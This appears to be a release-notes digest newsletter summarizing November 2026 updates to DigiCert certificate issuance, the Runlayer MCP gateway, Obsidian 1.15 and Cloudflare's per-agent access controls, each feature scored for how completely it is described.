! API requests that pass a `dcv_method` value not enabled in the account's DCV methods configuration now receive an `invalid_value` or `dcv_method_not_allowed` error rather than being accepted; any Services API integration using a DCV method that is not selected in Settings > Preferences > Advanced Settings > Domain Control Validation will break.

! All new TLS certificate orders, renewals, reissues, and duplicates are now issued from `DigiCert TLS RSA4096 Root G5` or `DigiCert TLS ECC P384 Root G5`; trust stores, hard-coded root or intermediate CA certificate trust, and pinned certificates that do not include the G5 roots and intermediates will cause service disruptions.

WAS THIS USEFUL? 👍 👎

AGENT

◆ MCP Servers & Tooling

Runlayer

Feedback ⓘ 2.4.0 (2026-11-03) BLOG ↗ RANK

Runlayer is an MCP gateway that enforces identity-mapped permissions and detects threats across the agents and MCP servers employees use.

> Runlayer's latest releases add session search across hosted and self-hosted deployments, raw-byte file reads for Microsoft 365, new MCP tools for spend visibility, richer tool annotations for agent selection, DNS-based egress blocking, and Claude Desktop routing through the LLM Gateway.

└──▷ **WHAT SHIPPED · 7 FEATURES** most completely described first ? what's the number?

01 **Session search for agent sessions** NEW 91

Search agent sessions from the Sessions page on Runlayer-hosted deployments, or let agents search them through the Runlayer MCP tools; results cover sessions from October 29, 2026 onward. On self-hosted deployments, enable search by running the session search indexer in write mode, and set `SESSIONS_SEARCH_API_ENABLED=false` on the backend to hide the search UI until the indexer is ready.

Prevent users on a self-hosted deployment from seeing an empty session search UI before the indexer is running.

env

```
SESSIONS_SEARCH_API_ENABLED=false
```

— Names exact config flag, indexer mode and date cutoff 2.4.0 (2026-11-03)

02 **Raw file reads for OneDrive and SharePoint** NEW 81

Read exact file bytes from OneDrive and SharePoint with `format: "raw"` on `onedrive_read_file` and `sharepoint_read_file`, and read files up to 50 MB with `allow_large_file`.

Retrieve the exact bytes of a large file from SharePoint when you need the raw binary content rather than a converted representation.

```json
{
  "tool": "sharepoint_read_file",
  "arguments": {
    "file_id": "<file_id>",
    "format": "raw",
    "allow_large_file": true
  }
}
```

— Names exact tool parameters and size limit `2.4.0 (2026-11-03)`

03 **Tool annotations in Runlayer Plugin search_tools** IMPROVED

78

Runlayer Plugin's `search_tools` now returns `readOnlyHint`, `destructiveHint`, `idempotentHint`, and `openWorldHint` as `annotations` in nested mode, letting agents select read-only tools without enumerating every connector.

— Names exact fields and the mode they appear in `2.3.0 (2026-11-02)`

04 **MCP spend-breakdown tools** NEW

75

Read spend data from the Runlayer MCP using three new tools — `get_spend_cost_breakdown` (spend per provider and model), `get_spend_people_usage` (the All users list), and `get_spend_department_usage` (spend by department) — each requiring the View company metrics permission.

— Names all three tools and required permission `2.3.0 (2026-11-02)`

05 **Claude Desktop routing through LLM Gateway** NEW

65

AI Watch now routes eligible users' Claude Desktop through the LLM Gateway when LLM routing is on, with short-lived per-device tokens, budgets, and Sessions.

— Describes mechanism but no exact setup path `2.3.0 (2026-11-02)`

06 **DNS filter block reporting for egress proxy** NEW

60

Self-hosted egress proxy now accepts a list of DNS filter block answers so blocked agent destinations are refused immediately and recorded in response and audit logs.

— Explains behavior but no config key named `2.3.0 (2026-11-02)`

THINNER COVERAGE BELOW

07 **Slack channel setting renamed in agent policies** BREAKING

35

The Slack channel setting in agent configuration policies is renamed to `Slack outside approved channels`.

— Bare rename note with no migration guidance `2.4.0 (2026-11-03)`

└──▷ **BREAKING ON UPGRADE**

! The Slack channel setting in agent configuration policies is renamed to `Slack outside approved channels`.

WAS THIS USEFUL?  

PLATFORMS & UTILITIES

◆ General Utilities & Libraries

Obsidian

Feedback ⓘ Obsidian 1.15 Desktop (Public) (2026-11-02)

BLOG ↗ RANK

Obsidian is a note-taking app that lets you write and organize Markdown files stored locally in a vault.

> Obsidian overhauled Mermaid diagram rendering with a new Pele library across Desktop and Publish, while Mobile gained PDF export and iOS voice capture with transcription, and Bases/Vim mode both picked up several smaller improvements.

└──▷ **WHAT SHIPPED · 12 FEATURES** most completely described first ? what's the number?

01 Mermaid diagrams rendered via new Pele library

BREAKING

93

Obsidian now renders Mermaid diagrams using a new library called Pele, compatible with Mermaid 12.1.0 syntax, with `--mermaid-*` CSS variables for colors, corner radius, and font weights, and `.pele-*` element classes. Diagrams are now always rendered without a prompt (the Show Mermaid diagrams in notes setting was removed), are responsive to note width, and can be zoomed and panned when scaled down. Obsidian no longer bundles the Mermaid library; loadMermaid() and `window.mermaid` now draw with Pele and the SVG output carries `.pele-*` classes instead of Mermaid's — plugins matching full node names like `formatting-code_inline-code` will miss closing tokens and must match `formatting-code` instead.

— Full breaking-change migration notes with exact selectors and classes

Obsidian 1.15 Desktop (Public) (2026-11…

02 **Voice capture with live transcription in Quick Capture** NEW

80

Quick Capture on iOS can record voice notes that transcribe as you speak, including from the Lock Screen; recordings can be saved to your vault (requires iOS 26).

Capture a voice note hands-free from the iOS Lock Screen, with automatic transcription saved to your vault.

> 📍 From the iOS Lock Screen, tap the Quick Capture widget or ask Siri `Open Quick Capture in Obsidian`, then tap the microphone icon to start recording — transcription appears in real time and the note is saved to your vault when you stop.

— States OS requirement, lock-screen support, and vault save

`Obsidian 1.15 Mobile (Public) (2026-11-…`

03 **Vim mode command and regex support** NEW

75

Vim mode now supports `g?`, `:put`, search patterns in `:` ranges such as `:/foo/,/bar/d`, Vim-style regexes with `:set nopcre`, and `<A-…>` mappings on macOS.

— Exact Vim commands and settings named `Obsidian 1.15 Desktop (Public) (2026-11…`

04 **Bases filter management and search result reporting** IMPROVED

70

Bases now supports dragging to reorder filters and a per-filter-row menu to add filters or move them between `All views` and `This view`. Bases search now reports when a result limit hides matches, for example `Showing 10 of 40`. Formula fields in Bases can now be resized up to the width of the window. On phones, Bases filters are now in the Display menu as draggable cards, and the result count shows in the search bar.

— Names exact UI locations and example message text

`Obsidian 1.15 Mobile (Public) (2026-11-…` `Obsidian 1.15 Desktop (Public) (2026-11…`

05 **Deferred PIXI global loading for graph view** BREAKING

65

The `PIXI` global is now loaded on first graph open rather than at start-up; plugins can call loadPixi() to load it earlier.

— Names exact global and function to migrate `Obsidian 1.15 Desktop (Public) (2026-11…`

06 **URI/CLI commands to append or prepend under a heading** NEW

60

New URI and CLI commands let you append or prepend content under a specific heading in a note, with options that also control line breaks around the inserted content.

— No exact command syntax given, just the capability

Obsidian 1.15 Desktop (Public) (2026-11…

07 **PDF export on iOS and Android** NEW 60

Notes can now be exported to PDF directly on iOS and Android, via the three-dot menu's Export as PDF option.

Export a note to PDF directly from your iPhone or Android device without a desktop.

📍 Open a note, tap the three-dot menu (More options), then tap Export as PDF.

— Exact UI steps given in example Obsidian 1.15 Mobile (Public) (2026-11-…

THINNER COVERAGE BELOW

08 **Quick Capture Spotlight, Siri, and auto-titling** IMPROVED 55

Quick Capture now appears in Spotlight actions and Siri, for example Open Quick Capture in Obsidian. Setting Note Title to Automatic in Quick Capture now uses the first 80 characters of the capture as the note title.

— Exact Siri phrase and character limit named Obsidian 1.15 Mobile (Public) (2026-11-…

09 **Diacritic-insensitive search across suggestions** IMPROVED 50

Suggestions in link suggestions, Quick switcher, Command palette, and Bases search now ignore diacritics, so searching cafe matches café.

— Clear example but no config toggle mentioned Obsidian 1.15 Desktop (Public) (2026-11…

10 **Mermaid diagrams rendered via Pele in Publish** IMPROVED 45

Mermaid diagrams and charts in Publish sites are now rendered using Pele, with faster load times, site-matched colors and fonts, and zoom and pan support.

— Describes benefit but no config or API names Obsidian 2026.10.27 Publish (Public) (2…

11 **Drag tabs between tab groups** NEW 40

The tab switcher now lets tabs be dragged from one tab group to another.

— Simple UI interaction, no further detail given Obsidian 1.15 Mobile (Public) (2026-11-…

12 **Create new Sync vault from Manage vaults** NEW 35

Manage vaults can now create a new Obsidian Sync vault directly.

— Thin one-line description, no further mechanism

Obsidian 1.15 Mobile (Public) (2026-11-…

└──▷ **BREAKING ON UPGRADE**

! The Show Mermaid diagrams in notes setting has been removed; diagrams are now always rendered.

! Obsidian no longer bundles the Mermaid library; loadMermaid() and `window.mermaid` now draw with Pele and the SVG output carries Pele's `.pele-*` classes instead of Mermaid's. Plugins matching full node names like `formatting-code_inline-code` will miss closing tokens and must match `formatting-code` instead.

! The `PIXI` global is now loaded on first graph open rather than at start-up; use loadPixi() to load it earlier.

WAS THIS USEFUL? 👍 👎

INFRASTRUCTURE

◆ Internet Services

Cloudflare

Feedback ⓘ

Bots - Granular access controls for the top Personal Agents (2026-11-04) BLOG ↗

RANK

Cloudflare is a connectivity cloud platform delivering internet security, performance, and developer infrastructure services.

> Cloudflare added per-agent access controls for top Personal Agents, letting customers override their general Agents policy on an agent-by-agent basis.

└──▷ WHAT SHIPPED · 1 FEATURE most completely described first ? what's the number?

01 Per-agent access controls for Personal Agents NEW

69

Under Security > Settings > AI Crawler and Agent access policies (replacing the former Configure AI bot policies setting), customers can now set individual access actions for specific top Personal Agents rather than applying one blanket rule. Personal Agents inherit the existing Agents policy by default, and Cloudflare recommends Allow (do not block) as the default action.

Allow specific Personal Agents to access your site while your broader agent policy is more restrictive.

> 📍 In the Cloudflare dashboard, go to Security › Settings › AI Crawler and Agent access policies, locate the Personal Agents section, and set the action for each listed Personal Agent individually (e.g., Allow for a specific agent while keeping others blocked).

— Names exact UI path and setting but lacks list of supported agents

Bots - Granular access controls for the…

WAS THIS USEFUL? 👍 👎

// END OF TRANSMISSION

▷ Subscribe Feedback on this issue